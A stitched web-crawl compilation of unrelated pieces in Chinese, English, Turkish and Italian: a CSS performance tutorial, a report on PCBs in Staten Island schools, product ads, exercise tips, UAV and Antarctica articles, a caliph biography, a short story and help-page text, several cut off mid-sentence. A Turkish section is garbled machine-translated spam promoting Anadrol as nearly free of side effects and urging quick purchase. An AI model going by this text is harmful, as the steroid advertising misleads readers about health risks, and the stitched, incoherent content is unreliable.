关键 CSS 是一种为折叠以上的内容提取和内联 CSS 的技术。在 HTML 文档的
<head>中内联提取的样式可以消除额外请求获取这些样式的需要，并加快呈现速度。
为了减少首次渲染的往返次数，请将折叠以上的内容保持在 14kb (压缩) 以下。
确定关键的 CSS 不是完全准确的，因为你需要对折叠位置进行假设 (折叠位置因设备屏幕大小而异)。对于高度动态的站点来说，这可能很困难。即使不精确，它仍然可以带来性能改进，我们可以使用 Critical、CriticalCSS 和 Penthouse 等工具将其自动化。
异步加载 CSS
CSS 的其余部分 (不太关键的部分) 最好异步加载。实现这一点的方法是将
link 、
media 属性设置为
<link rel="stylesheet" href="non-critical.css" media="print" onload="this.media='all'">
“Print” 媒体类型定义了当用户尝试打印页面时的样式表规则，浏览器将加载这样的样式表而不会延迟页面呈现。将该样式表应用于所有媒体 (即屏幕，而不仅仅是打印)，使用
onload 属性在样式表加载完成时将
media设置为
all。
另一种选择是使用
<link rel="preload"> (而不是
rel="stylesheet") 来实现类似于上面的模式，并在加载事件时将
rel 属性切换为
stylesheet。在使用这种方法时，有一些缺点需要考虑。
浏览器对
preload的支持还不是很好，所以一个 polyfill (或者使用 loadCSS 之类的库) 是跨浏览器应用样式表的必要条件。 预加载很早就获取文件，具有最高的优先级，这可能会使其他重要的下载优先级降低。
如果你想要 preload 提供的高优先级 fetch (在支持它的浏览器中)，loadCSS 的创建者建议你把它和第一种模式结合起来，像这样:
<link rel="preload" href="/path/to/my.css" as="style"> <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'">
在 CSS 文件中避免使用 @import
在 CSS 文件中使用
@import 会降低渲染速度。首先，浏览器必须下载 CSS 文件来发现导入的资源，然后在呈现资源之前发起另一个下载请求。
如果你有一个包含
@import url (imported.css); 的样式表网络瀑布是这样的：
在
link 元素中加载两个样式表允许并行下载：
使用有效的 CSS 动画效果
当你在页面上设置动画元素时，浏览器经常需要重新计算它们在文档中的位置和大小，这将触发布局。例如，如果更改元素的宽度，它的任何子元素都可能受到影响，并且页面布局的大部分可能会更改。布局几乎总是局限于整个文档，所以布局树越大，它执行布局计算的时间就越长。
在动画元素时，尽量减少布局和重绘是至关重要的。并不是所有的 CSS 动画技术都是相同的，现代的浏览器可以用
position,
scale,
rotation, 和
opacity最好地创建性能动画:
- 不要改变
height和
width属性，使用
transform: scale()。
- 要移动元素，应避免更改
top、
left、
right或
left属性，而使用
transform: translate()。
- 如果你想模糊背景，可以考虑使用模糊图像并改变其不透明度。
contain 属性
contain CSS 属性告诉浏览器，元素及其后代被认为 (尽可能地) 独立于文档树。它将页面的一个子树与其他子树隔离开来。然后，浏览器可以优化页面独立部分的呈现 (样式、布局和绘制操作)，以提高性能。
contain 属性对于包含许多独立小部件的页面非常有用。我们可以使用它来防止每个小部件内的更改在小部件的边界框之外产生副作用。大多数静态站点从这种策略中获益甚微。
用 CSS 优化字体加载
在字体加载时避免文本不可见
字体通常是需要一段时间才能加载的大文件。一些浏览器隐藏文本，直到字体加载 (导致 “闪光看不见的文本” 或 FOIT) 来处理这个问题。当优化速度时，你会想要避免 “闪过不可见的文本”，并立即使用系统字体 (预先安装在他们的机器上) 向人们显示内容。一旦字体文件已经加载，它将取代系统字体称为 “闪光的无样式文本” 或 FOUT。
实现这一点的一种方法是使用
font-display—— 一种用于指定字体显示策略的 API。使用
font-display 和
swap告诉浏览器，使用这种字体的文本应该立即使用系统字体显示。
使用可变字体来减小文件大小
可变字体可以将字体的许多不同变体合并到单个文件中，而不是为每个宽度、粗细或样式使用单独的字体文件。它们允许你使用 CSS 和一个
@font-face 引用访问给定字体文件中的所有变体。
当你需要多种字体变体时，可变字体可以显著减小文件大小。你可以加载包含所有信息的单个文件，而不是加载常规和粗体样式及其斜体版本。
Monotype 进行了一项实验，将 12 种输入字体组合在一起，生成了横跨三种宽度、横跨斜体和罗马体的 8 种权重。在一个可变字体文件中存储 48 种字体意味着文件大小减少 88%。
不要担心 CSS 选择器的速度
CSS 选择器的结构会影响浏览器匹配它们的速度。浏览器从右到左读取选择器，所以当你使用后代选择器时。例如，
nav a {}，它将首先匹配页面上的每个
<a>元素，然后归零在
nav 内部的一个。如果你使用一个更具体的选择器，例如，在
nav 元素中的每个
<a>上使用
.nav-link，它就不会花时间去匹配页面上的每个
<a>。
如果你考虑浏览器如何匹配从右到左的选择器和一个例子，比如
.container ul li a {}，你就会明白为什么后代选择器经常被标记为 “昂贵的”。
这样的选择器似乎是一个速度问题。然而，选择器匹配性能是快速的。CSS 声明对压缩算法非常友好，因此优化 CSS 选择器所需的工作通常最好花在应用程序的其他部分，这样投资回报会更高。
CSS 对于加载页面和用户体验至关重要。虽然我们通常会优先考虑其他更有影响力的资产 （如脚本或图像），但我们不应该忘记 CSS。使用上面描述的策略，你将能够确保快速交付和执行。What's worse is that despite a national effort to have them removed, the toxins may be here to stay.
Any school that was built between 1950 and 1978, or has had major construction in that time frame, is at risk of having high levels of polychlorinated biphenyls, or PCBs, a man-made chemical that was commonly used in caulk around windows and doors before it was banned in 1976 and phased out in 1978.
Of the 39 public elementary, middle and high schools on Staten Island that fit into that category, at least seven were tested in recent years and found to have high levels of PCBs, according to documents obtained from the city Department of Education by the New York Lawyers for Public Interest, or NYLPI. (The research did not include private or Catholic schools, but an estimated 20-25 were built on Staten Island in that timeframe.) The federal Environmental Protection Agency states that schools with levels of more than 50 parts per million must remove the PCBs. However, there is no regulation that requires schools to even test for the toxins.
Of the Staten Island public schools that have done testing over the years, Bernstein Intermediate (Huguenot) found PCBs of 75,200 parts per million; Barnes Intermediate (Great Kills), 112,000; Morris Intermediate (Brighton Heights), 20,000; PS 3 (Pleasant Plains), 3,000; PS 8 (Great Kills), 87; PS 32 (Great Kills), 3,900; PS 44 (Mariners Harbor), 880; and PS 55 (Eltingville), 121,000. Although the schools are required to remove the PCBs upon a report of exceeding the standard, the DOE was unable to confirm whether the remediation work was done.
Though the chemicals typically remain dormant unless disturbed, for instance, by a window-renovation project, being near PCBs is never a safe idea, said Miranda Massie, the director of litigation and training for NYPLI, a nonprofit civil rights firm. The NYLPI is fighting against a consideration by the EPA to permit a higher threshold of PCBs before remediation is required.
"What's perhaps the scariest thing is that they can spontaneously enter the air," Ms. Massie said. "The caulk can look totally intact and still be emitting PCBs into the air and causing air pollution."
The cost of removing PCBs from a building can easily reach six figures or beyond, depending on its size.
Few studies have been done on the health risks associated with PCB exposure, but it has been linked to cancer, and has been known to cause behavioral or developmental problems in children, including decreases in IQ. It also has the potential to affect the immune, reproductive, nervous and endocrine systems.
Two years ago, parents and students protested outside PS 53, Bay Terrace, where one woman discovered her son had increased asthma attacks while in school. His almost daily breathing problems took place following a construction project each evening during the school year. Every morning, teachers and staff had to clean layers of dust that collected all over the furniture before classes began.
The boy's mother, Patty Donegan, said the more-than-accommod
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。”奥克斯菲尔德拒绝透露她客户的姓名。
当事老师的言论在曝光以后，在当地引发了轩然大波。帮助发展当地教育事业的非营利组织帕特森教育基金会主席艾琳·斯特琳(Irene Sterling)说，家长之所以对该老师的言论感到愤怒，是因为任何人包括她自己的学生在内，都能从中感受到一种消极态度。斯特琳说，这一事件充分说明部分老师缺乏责任心。
斯特琳说：“我并不认为她是帕特森唯一一个有这种想法的老师。”帕特森当地学校共有2.8万名学生和2425名教师，是新泽西州问题最多的校区之一，1991年因财务管理不善和学生学习成绩不佳被州一级教育主管部门接管。
羽田爱番号
爱情语录大全
感人动物电影Çift Göz Kapağı Belirginleştirici Krem
Çift Göz Kapağı Belirginleştirici Krem
Özellik
Gözleri büyütmenin etkisi
Bir çift büyük göze sahip olmak ister misiniz? Küçük gözlerden sıkıldınız mı? Neden gözlerinizi daha büyük ve daha güzel yapacak çift göz kapağı belirginleştirici kremimizi denemiyorsunuz?
Doğal görünmez
Nemlendirici krem dokusu, kuruduktan sonra şeffaf ve renksiz, doğal olarak görünmez ve iz bırakmaz, güçlü yapıştırma, görünmez, güçlü yapışma, nefes alabilir, su geçirmez, ter geçirmez, tüm gün kalabilir, düzeltilmesi kolaydır.
Güvenli ve zararsız
Bu ürün, göz çevresindeki cildi tahriş etmeyen çeşitli doğal bitki bileşenleri içerir. Krem birkaç dakika içinde şeffaf hale gelir, görünmez ve elastiktir ve bütün gün sürebilir.
Kullanımı kolay
Sadece birkaç basit adımla çekici göz kapaklarına sahip olmak çok kolay. İlk olarak, göz kapaklarını temizlemek ve göz yağını çıkarmak için bir pamuk ped kullanın. Ardından, alt kısmı döndürün ve krem gövdesini dışarı çıkarın. Ardından, tanımlayıcı kremi uygun bir pozisyonda eşit şekilde uygulayın ve birkaç saniye bekleyin (yaklaşık 5 saniye). Son olarak, göz kalemini 5-10 saniye tutmak için Y şeklinde bir çubuk kullanın. Kremi ayarlamak için gözlerinizi açın.
Çıkarması kolay
Pamuğu ılık suya batırın, birkaç saniye boyunca göz kapaklarının üzerine örtün ve nazikçe silin, bu naziktir ve tahriş edici değildir.
Şartname
Net içerik: 2g
Raf ömrü: 3 yıl
Cilt tipleri için uygundur: tüm cilt tipleriI 3 esercizi per l’interno coscia da fare a casa
L’estate si avvicina, ed il vostro interno coscia sembra ogni giorno più flaccido? Non vi resta che cominciare a fare sport in maniera più seria e regolare, anche a casa! Ecco i tre esercizi che non devono mancare nel vostro allenamento!
Esercizi per l’interno coscia da fare a casa: quali saranno i migliori? Oggi vogliamo parlare di una parte del corpo che rappresenta il punto debole di molte donne: l’interno coscia. Per rassodarlo, in palestra esistono degli attrezzi davvero utilissimi e benefici, ma cosa possiamo fare a casa? Ecco tre esercizi utili da eseguire durante il vostro consueto allenamento!
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Mettetevi in posizione eretta, con le gambe divaricate e i piedi rivolti verso l’esterno. Tenendo in mano un manubrio da 5 chili, scendete con il bacino verso il basso, mantenendo la schiena dritta. Quindi tornate in posizione iniziale.
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Mettetevi a terra in posizione supina, alzate le gambe in posizione perpendicolare al pavimento, e divaricatele. Poggiate le mani all’interno delle ginocchia, e chiudete le gambe esercitando una pressione con le mani verso la direzione opposta. Riaprite e ripetete il movimento.
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Infine, prendete una palla di gommapiuma abbastanza “dura” e sedetevi a terra con le gambe piegate e la schiena dritta. Mettete la palla fra le cosce e stringete e rilasciate lentamente, senza far cadere la palla a terra.
Buon allenamento a tutte!“UAVs will soon fly with manned aircraft in commercial airspace” says avid Vos, Senior Director Control Technologies at Rockwell Collins.
“The growing demand for unmanned systems among military and government users is motivating the industry and government to find the ways to integrate manned and unmanned assets to operate safely in a common airspace” Vos added. UAV operations have grown in this decade from 167 systems operated by the military in 2001 only 167 UAVs operated mainly by the military and government in 2001 to 5,500 flying today. “Today, many UAVs are already flying in an airspace crowded by manned aircraft. ”Vos noted. An example for such integration is the airspace around Balad airbase in Iraq, where military helicopters, fixed wing military aircraft, commercial passenger aircraft, FedEx and UPS cargo planes are flying alongside unmanned aircraft, such as the Global Hawk, Predator and Hunter UAVs, performing 20-30 daily sorties from the airbase.
Although integration of UAVs in Civil Controlled Airspace is not yet cleared in standard regulations, unmanned aircraft are already supporting civilian emergency operations as well. In recent years UAVs were flying missions inside civilian airspace in the USA, monitoring disaster areas and emergency operations along the Red River flood area in North Dakota, surveying hurricane damage along the Gulf of Mexico, spotting fires in the Southern California mountains, surveying the Arctic and assisting police operations on a pilot test program in Los Angeles.
Vos was the founder of Athena Technologies acquired by Rockwell Collins last year. “Compared to the early unmanned systems, which hade limited situational awareness and poor safety record, today’s aerial vehicles are designed with high level of redundancy – dual, triplex and even quad redundant systems are currently available” Vos said. In addition, aviation certified engines, advanced, affordable integrated avionics that can offer automated takeoff, landing and mission control. “Automatic landing provides an essential element to another safety feature – a ‘Panic Button Emergency Landing’ enabling operators to safely abort a mission over populated area, without risk to the surrounding area” Noted Vos. After being implemented and proven in UAVs, Vos expects such essential capability could be introduced back into manned aircraft, to improve flight safety and avoid collateral damage on the ground, in case of emergency. Other elements contributing to UAV flight safety are advanced sensors offering better situational awareness; in the near future, structure damage fault tolerance will become reality, enabling a UAV to recover from bird strikes and in-flight failures.
According to Vos, once UAVs can automatically takeoff, land and perform emergency procedures enabling them to safely fly in civil airspace, their integration into the Air Traffic Management (ATM) system is required. While future NextGen ATM will support such integration, the platforms should have the means to maintain situational awareness, adherence to flight control, rules and procedures and is key to maintain flight safety. These capabilities can be supported today in the larger platforms, that have enough space and power capacity to operate communications, datalinks, IFF and 4D navigational equipment, as well as built-in capabilities to perform collision avoidance, due regard and weather radar.Scottish traditional music has always been a in a state of change involving phases and currents of decline, revival and renewal. In terms of fiddle playing, for instance, the contribution of James Scott Skinner (1843-1927) involved elements of modernisation and inventive creation combined with the preservation and promotion of old repertory in what was a clear attempt to revive the genre. A strong element of the current fiddle scene is also the production and consumption of music that strives to be rooted in tradition yet also of its own time.
This project is concerned with one relatively short period in the three hundred years or so of Scottish fiddle music. The renewed interest in the song tradition of the 1950s, 60s and 70s is now relatively well documented and discussed but the contemporaneous revival of instrumental music in Scotland which accompanied it has received less scholarly attention. This period saw absorption of influences from modern music fashions, styles from other cultures, experimentation, hybridisation and invention as young players sought, discovered and adapted aspects of the tradition in a modern music which allowed them to express both their national and their youthful identities. The fiddle, an instrument laden with symbolic and historical associations in literature and folklore in Scotland and elsewhere, was ripe for a central role in this process. This was further enabled by the facts that instruments were readily available and many young people had received at least some training or experience in strings playing.
By the mid 1980s, the fiddle revival had entered a new, more settled phase with the establishment of summer camps, festivals, clubs, competitions, printed publications and the first steps towards the incorporation of traditional music into schools. It was this emerging infrastructure which became the bedrock of the current wave of interest in fiddle music throughout Scotland. Several of the players from the first, less ordered period have since passed away, some still play publicly while others have moved on from music making or continue to play only in domestic settings. This project recognises that the time is right to collect testimony, information and surviving material associated with their contribution to the fiddle revival before it becomes hidden or lost as a means of enriching our understanding of the traditional music of Scotland as it continues to develop.
It is intended that this page will be substituted by a more extensive, illustrated discussion of the fiddle revival in Scotland once the research mapping is sufficiently advanced to allow conclusions to be suggested.Halife Müsterşid kimdir, ne zaman ve nerede yaşadı? TRT 1'de yayınlanan Mavera dizisinde yer verilen tarihi karakterlerden biri de Halife Müsterşid oldu. Bu nedenle Halife Müsterşid kimdir, ne zaman ve nerede yaşadı? İşte Halife Müsterşid hakkında merak edilen konulardan bazıları:
Halife Müsterşid, 12. yüzyıl başlarında Irak ve etrafında hüküm süren Abbasi Devleti'nin hükümdarı ve İslam dini halifesiydi.
Tam adı Ebû el-Mansûr "El-Mustarşid Billah" el-Fadil bin Ahmed el-Mustazhir'dir.
Halife Müsterşid'in 1092 yılında dünyaya geldiği ve 29 Ağustos 1135 tarihinde vefat ettiği bilinir.
Abbâsî Devleti'nin 29. Halifesi olarak bilinir.
Görev dönemi ise 1118–1135 yılları arasındadır.
Göreve babası Mustahzir'in ölümünden sonra Bağdat'ta Abbasi halifesi oldu.
Müsterşid'e kadarki halifeler, Büyük Selçuklu Devleti'ne karşı sorumluluk içinde davranırdı. Ancak Müsterşid döneminde halifelik makamı daha bağımsız hareket etmeye başladı.
Halife Müsterşid döneminde Bağdat başıbozukluğun önde gittiği bir dönem yaşadı.
Haşhaşilerle birlikte hareket eden Dubeys isimli bir eşkıya büyüyerek ordu kurdu sonra da Bağdat'a kuşatma altına aldı.
İmameddin Zengi'nin devreye girmesiyle Bağdat kuşatmadan kurtarılmıştı.
Ocak 1133'te Halife Musterşid Bağdad'da yapılan bir törenle Büyük Selçuklu Devleti Sultanı Sultan Ahmed Sencer'e bağımlı olan Irak Selçuklu Devleti hükümdarı Gıyaseddin Mesud'u sultan olarak ilan etti.
Ancak bir süre sonra Muşterşid'in Sultan Gıyaseddin Mesud ile arası açıldı.
Halife Müsterşid ile Gıyaseddin arasında 1135'te bir savaş çıktı; Müsterşid bu savaşta yenik düştü.
Sultan, Halife Mustarşid'e iyi davrandı ve Bağdad'daki sarayından uzaklaşmaması şartı ile onu serbest bıraktı.
Müsterşid serbest bırakılmasından iki ay sonra, 29 Ağustos 1135'te, halife çadırında ölü olarak bulundu.
Halife'nin vücudunda 20 kadar derin hançer yarası bulunmaktaydı.
Burnu ve kulakları kesilmişti.
Cinayetin Haşhaşiler tarafından işlendiği tarihi kaynaklarda belirtilmekte
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Anadrol Avantajları?
- sadece üreticiden satın alın
- günlük kullanımda en iyi sonuçlar
Anadrol dezavantajları?
- nazik hizmet
- çok iyi tolere
- yan etkileri olmayan üreticiye göre
- kullanıcıların olumlu deneyimleri
- basit uygulama
Halihazırda Anadrol ile beraberindeki koşulları Anadrol zorunda mı?
Ürün, tek tek bileşenlerin kullanımıyla desteklenen vücudun kendi işlemlerine dayanır.
İlk uygulamanın yabancı olduğunu düşündüğü hayal edilebilir mi? Beklenen sonuçların göründüğünden emin olmak biraz zaman alıyor mu?
Ama elbette! Fiziksel dönüşümler aşikardır ve bu ilk başta bir ağırlaştırma olabilir, fakat aynı zamanda sıradan bir fiziksel his de olmayabilir - bu yaygındır ve uzun sürmeden sonra uzanır.
Anadrol kullanıcılarının Anadrol, yan etkilerin çoğunlukla varolmadığını da gösteriyor.
Hangi durumlar hazırlık hazırlığı kullanılmadan yapılması gerektiği gerçeğine yol açar?
Daha basit bir şey yok:
Bu hazırlığı kullanmanıza izin verilmediğinden emin olmanız gereken durumlar şunlardır: Durumlarında hiçbir şeyi değiştirmek istemezsiniz.
Bu faktörlerin sizi hiçbir şekilde etkilemediğini varsayarsak, yalnızca aşağıdakileri açıklığa kavuşturmalısınız: Beyanı vermek için gerekli kararlılığı keşfettikten sonra: "Kasların kapsamı ve gücünde atılım elde etmek için gerçekten her şeyi verdim!", Stand Kendi yoluna girmiyorsun: Şimdi aktif olmak için en iyi an.
Kesin olan bir şey var: Anadrol büyük olasılıkla size çok yardımcı olabilir!
Birinin bu üründe göz önünde bulundurması gerekenler nelerdir?
Kullanım son derece zahmetsizdir ve tartışmak ve hatta açıklamak için bir engel teşkil etmez.
Ürün her zaman taşınabilir ve kimse farketmez. Şirket, uygulama süresi ve dozu ile ilgili tüm verileri sağlar - aynısı hızlı bir şekilde açıklanır ve takip edilmesi kolaydır.
Anadrol sonuçları
Anadrol sayesinde kas inşa edebileceğiniz açıktır
Açıkça, yeterince iyi tanıklıktan ve çok fazla kanıt bulunduğunu düşünüyorum.
Nihai sonuca somut aşama, bireyden bireye gerçekten değişebilir.
Bir grup kullanıcı için, etki hemen gerçekleşir. Öte yandan, sonuçların ulaşması biraz zaman alabilir.
Seni ne kadar sürecek? Deneyin ve deneyim edin! Anadrol istediğiniz etkilerini birkaç dakika sonra hissetmeniz çok iyi olabilir.
Farklı bir adam olduğunuzu örtbas etmek zor. Muhtemelen bunun etkilerini kendiniz hissetmezsiniz, ancak tanınmış bir kişi sizinle konuşur.
Anadrol
Diğer erkeklerin onunla ne kadar mutlu olduklarını öğrenmeniz şiddetle tavsiye edilir. Hevesli kullanıcıların başarısı, etkili bir çözüm yolunun en iyi kanıtıdır. Kimera karşılaştırıldığında, bu nedenle fark edilir derecede daha yararlı olabilir.
Tüm ücretsiz çalışmaların, kişisel deneyimlerin ve referansların değerlendirilmesine dayanarak, Anadrol ne kadar etkili olduğunu öğrenebildim:
Bunların, bu durumda insanların gerçek tutumları olduğundan emin olun. Bununla birlikte, bunun sonucu çok ilginç ve sonuç olarak, çoğunluğa uygulanabilir - ve sonuç olarak sizin için de.
Tüketici olarak bu konuda kesinlikle mutlu olduğunuzu bildirebiliriz:
İlgilenen taraflar Anadrol oldukça açık bir şans vermeli.
Anadrol, bir ilaç Anadrol kadar zorlayıcı olduğunda, doğal temelli tedavilerin bu kadar etkili olması gerçeğinden dolayı piyasadan kısa sürede kaybolacaktır. Eğer denemek istiyorsanız, fazla zaman geçmesine izin vermemelisiniz.
Bu kadar güçlü bir ürünü meşru bir üretici ve aynı zamanda adil bir fiyat üzerinden satın alma fırsatı olağanüstü bir durumdur. Üreticinin web sitesinde, bugün hala devlet elde edebiliyor. Diğer sağlayıcıların aksine, burada yasal çözümü bulacağınızdan emin olabilirsiniz.
Sürece kesintisiz bir şekilde devam etmenin uygunluğundan şüphe ediyorsanız, bütün olmayı tercih edersiniz. Bu bağlamda, bir şeye bağlı: hiçbir şey yok. Bununla birlikte, sorun durumunuzun, bu ürünün yardımı ile amacınızı gerçekleştirmeniz için sizi yeterince uyandırması muhtemel görünmektedir.
Meseleyi çözmeden önce önemli bir referans:
Uyarıyı tekrarlamak için: Anadrol burada belirtilen sağlayıcıya yönlendirin. Bir arkadaşım, nihayetinde iyi incelemeler nedeniyle ürünü denemek için önerimden sonra, doğrulanmamış satıcılardan daha ucuz bir fiyata alınabileceğini düşündü. Nasıl göründüğünü görmeyi tercih etmiyorlardı.
Bizden bir sipariş vermeyi seçtiğinizde, atık, tehlikeli içerik maddeleri ve yüksek fiyatlar gibi fiyatlar konusunda endişelenmenize gerek olmayacağını garanti ediyoruz. Bunun için sizin için sadece güncel ve kontrollü makaleleri listeledik.
Bu tür eşyaları Ebay, Amazon veya benzeri gibi çevrimiçi mağazalardan satın almak istiyorsanız, özgünlük ve takdir deneyiminin garanti edilemeyeceğini belirtmek isteriz. Bizim tavsiyemiz bu dükkanlardan kaçınmak. Aksi takdirde eczanenizden satın almanız anlamsızdır.
Ürünü yalnızca güvenli bir kaynaktan satın alın - işte en düşük satış fiyatı, güvenli ve gizli siparişler ve kesin ürünü garanti ediyor.
Bu talimatları izlerseniz, hiçbir şey elden çıkmaz.
İpucu: Daha küçük bir sayıya kıyasla bir tedarik paketi seçerseniz, daha ucuza alışveriş yapabilecek ve yakın zamanda sipariş vermekten endişe duymayacaksınız. En kötü durumda, kutu kullanıldıktan sonra, birkaç gün boyunca hiçbir yolunuz olmaz.Küresel sıcaklıklar arttıkça, Antarktika‘nın ekolojisi zaten değişiyor, ancak kıtanın tarımı ve kalıcı yerleşimcileri destekleyebilmesi için Dünya’nın ikliminin büyük ölçüde değişmesi gerekecek.
Antarktika, eksi 49 santigrat dereceye kadar düşen ortalama kış sıcaklıkları, saatte 321 kilometreye ulaşan rüzgarlar ile dondurucu, yaşanması zor bir yerdir. O halde, Dünya’nın en güneydeki kıtasının aynı zamanda en az nüfuslu yer olması, orada araştırma yapan sadece bir avuç bilim adamı olması ve kalıcı sakini olmaması şaşırtıcı değil.
Ancak teknolojik ilerlemeler ve değişen iklim göz önüne alındığında, bu değişebilir mi? Antarktika, dünyanın başka yerlerinde görülen kalıcı insan yerleşimlerini destekleyecek mi?
İstilacı bitki ve hayvan türlerinden oluşan seçkin bir kalabalık şimdiden ısınan Antarktika’ya taşınırken, insanlar henüz bu listede değil ve muhtemelen gelecek yüzyıla kadar olmayacak.
Diğer bir engel ise Antarktika’nın uzak konumu. Avustralya’daki Monash Üniversitesi’nde biyoloji bilimleri profesörü olan Steven Chown’a göre tek sorun hava olsaydı, insanların orada uzun vadede bir şansı olabilirdi. Ancak coğrafi izolasyonu nedeniyle yalnızca gıda ve diğer malları ithal ederek yaşam sürdürülebilir.
Araştırma istasyonlarının tümü olmasa da bazıları şu anda rüzgar türbinleri ve güneş panellerinden elde edilen yenilenebilir enerji ile destekleniyor. Kıta boyunca bir elektrik şebekesi inşa etmek, küresel ısınmanın etkileri nedeniyle erime olasılığı olan bir buz tabakasının üzerine inşa etmek anlamına gelir.
Antarktika’nın İklimi: Uzak Geçmiş Ve Yakın Gelecek
Antarktika Kıtası şu anda kalıcı ikamet için donanımlı olmayabilir. Ama gezegenin ısınmakta olduğu göz önüne alındığında, Antarktika’nın iklimi daha önce misafirperver miydi ve gelecekte de öyle olacak mı?
Steven Chown “Fosil kayıtlarına göre, ormanlar ve dinozorlar için son derece uygun bir iklime sahipti” dedi. Yaklaşık 100 milyon yıl önce Antarktika, iyi gelişmiş bitki örtüsünü, önemli ormanları ve kozalaklı ağaçlar, eğrelti otları ve kapalı tohumlular olarak bilinen çiçekli bitkiler gibi bir dizi organizmayı destekledi.
2021’de, Antarktika Yarımadası‘nın bir parçası olan James Ross Adası’nda bulunan kömür kalıntıları, 100 milyon ila 66 milyon yıl önce arasındaki geç Kretase döneminde orman yangınlarının oradaki ormanları yaktığına dair kanıt sağladı.
Dünyanın iklimi, yüz milyonlarca yılda, daha soğuk buzul dönemleri ile daha sıcak buzullar arası dönemler arasında gidip gelerek değişti. Paleoklimatologlar, Antarktika’nın ikliminin gelecekte nasıl görünebileceğini anlamak için uzak geçmişine bakıyorlar. Bir araştırmacı ekibi, Ross Buz Sahanlığındaki tortu katmanlarını inceleyerek, Batı Antarktika Buz Levhasının birkaç kez çöktüğünü ve yeniden büyüdüğünü keşfetti. Brigham-Grette, bu tür bir çöküş ve yeniden büyümenin
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latini al caffè, un nome, un cognome, un pezzo di carta, un numero di cellulare. E la vaga impressione di essere sembrata una perfetta cretina in stato confusionale.
Ma poi, pensandoci bene, non si era sentita giudicata da Lui.
"Va bene così", si disse. Si mise in viaggio verso casa.
Non lo chiamò mai, ma conservò quel numero.
domenica 1 maggio 2011
Non riusciva a capire perchè. E non voleva manco che accadesse. Però, quando si fermava a pensarci un po' su, si rendeva conto che a Lui aveva dedicato e continuava a dedicare il suo tempo migliore, la poca passione che ancora aveva nel sangue, i sentimenti più nobili e puri.
E non capiva il perchè: Lui era straordinario è vero, ma a modo suo. E poi a ben pensarci Lui non le piaceva fisicamente, Lui era l'amico ideale di ogni donna, Lui era un seduttore per mestiere, Lui era fondamentalmente un'egoista.
Lui la deludeva costantemente.
Magari quendo c'era, c'era tutto, ma era una sensazione che durava poco, il tempo di togliersi la voglia.
Però Lei pensava di amarlo e in nome di questo amore lo accoglieva così com'era. Da sempre. Soffrendo e sorridendo.
Anche adesso, che avevano deciso di restare amici.
Lei aveva provato ad avere una storia con un'altro, ma (chissà perchè) non era come Lui.
E Lui - che nel frattempo strapazzava una ragazza a sera - appena lo aveva saputo c'era rimasto malissimo, aveva incassato il colpo e, raccontando/si di sentirsi liberato dal peso di averla lasciata, aveva iniziato a frequentarla con maggiore assiduità. Per Lui era davvero una gran figata essere amici dopo una storia, anche se fondamentalmente amava sentirsi ancora desiderato, rimpianto da Lei.
E il bello è che Lui era candidamente sincero nel non rendersi conto di quanto male continuasse a farle.
Lei sentiva che Lui non era mai stato davvero "roba" sua, però continuava a sperare che con il tempo cambiasse, ci ripensasse, decidesse di crescere e tornare con Lei.
A pensarci bene le poche storie importanti che Lui aveva avuto erano state con donne impossibili, donne che non potevano andare bene, così era certo di restare lontanissimo dalla parola "impegno", "responsabilità".
Però Lei con quelle donne non c'entrava niente. Lei si era sentita davvero speciale per Lui.
Anche quando Lui le raccontava bugie e fuggiva dai sentimenti mescolandoli al sesso.
Poi si ruppe una tazzina da caffè e con quella un equilibrio.
Lei sapeva che Lui era in zona, e e sperava che sarebbe passato a salutarla almeno per un caffè. Aspettò tutto il pomeriggio. Ma Lui non si fece vedere e neppure sentire.
Era successo mille altre volte.
Aspettando aveva apparecchiato per un caffè. E mentre stava riponendo le tazzine non utilizzate una cadde.
Lei vide in quei mille pezzi, i pezzi di se stessa.
Provò orrore: non voleva neppure pensarsi così.
Ma fu subito chiaro che i pezzi di quella tazzina non avevano a che fare con l'attesa di Lui. Non era la storia da rimettere insieme.
Anzi, fu subito chiaro che di Lui e delle sue mezze verità, non gli importava proprio niente.
La vera bugia era quella che Lei raccontava a se stessa: aveva chiamato amore una raffinata specie di masochismo.
Ma l'amore è un'altra cosa, pensò, e i pezzi da mettere insieme adesso erano i suoi di Lei.
Alle donne accade spesso. Ma spesso sanno anche guarire.
Si mise un bel vestito e uscì, era tempo di comprare tazzine per caffè nuove di zecca.Web sitemdeki bölümleri yeniden düzenle
Web sitenize bölüm eklerken ve sitenizdeki bölümleri kaldırırken bunların düzenini yeniden belirlemek isteyebilirsiniz. Bunu dilediğiniz kadar tekrarlayabilirsiniz.
- GoDaddy hesabınızda oturum açtıktan sonra ürününüzü açın. (Ürününüzü açma konusunda yardıma mı ihtiyacınız var?)
- Düzenle/Siteyi Düzenle seçeneğine tıklayın.
- Bölümler panelinden bölümün solunu tıklayın ve bölümü yeni konumuna sürükleyin.
- Değişiklikleriniz otomatik olarak kaydedilir, dolayısıyla değişikliklerinizi tamamladığınızda sonuçları görmek için Preview (Önizle) seçeneğine tıklayın ve isterseniz alan adlarınızdan bir diğerini kullanın veya yeni bir alan adı satın alın.
- Değişiklikleri yayınlamaya hazır olduğunuzda, Siteyi Yayınla (cep telefonu) veya Yayınla (masaüstü veya tablet bilgisayar) seçeneğine tıklayın.The snowy owl is a mostly white bird of prey of the family Strigidae. Snowy owls inhabit the Arctic tundra. In the colder weather these owls sometimes wander southward in Europe, Asia, and North America. The snowy owl’s scientific name is Bubo scandiacus.
Snowy owls are about 2 feet (60 centimeters) long and have broad wings. Females are larger than males. The white feathers help the owls to blend in with their surroundings. Snowy owls, especially the young and females, have small bars of black or brown mixed in with the white. The brown in the males gets lighter as they grow older. Thick feathers cover the legs and toes. The round head does not have ear tufts.
Snowy owls hunt during the day. They eat small mammals (such as hares and lemmings) and birds. Snowy owls are generally quiet but may hoot, screech, or whistle while at their breeding grounds.
Snowy owls nest on the ground in the open. Females lay from 3 to 11 eggs. The number often depends on the availability of lemmings and other food sources. When the adults find adequate food near the breeding area, the female lays more eggs. The female lays the eggs over several days, so they hatch at different times. Therefore, the mother may be caring for young while still incubating eggs. The father provides food for the mother and young. The young fly well at about seven weeks old. However, the parents continue to feed them for a few more weeks.Horseshoe Crabs: celebrating an anachronism
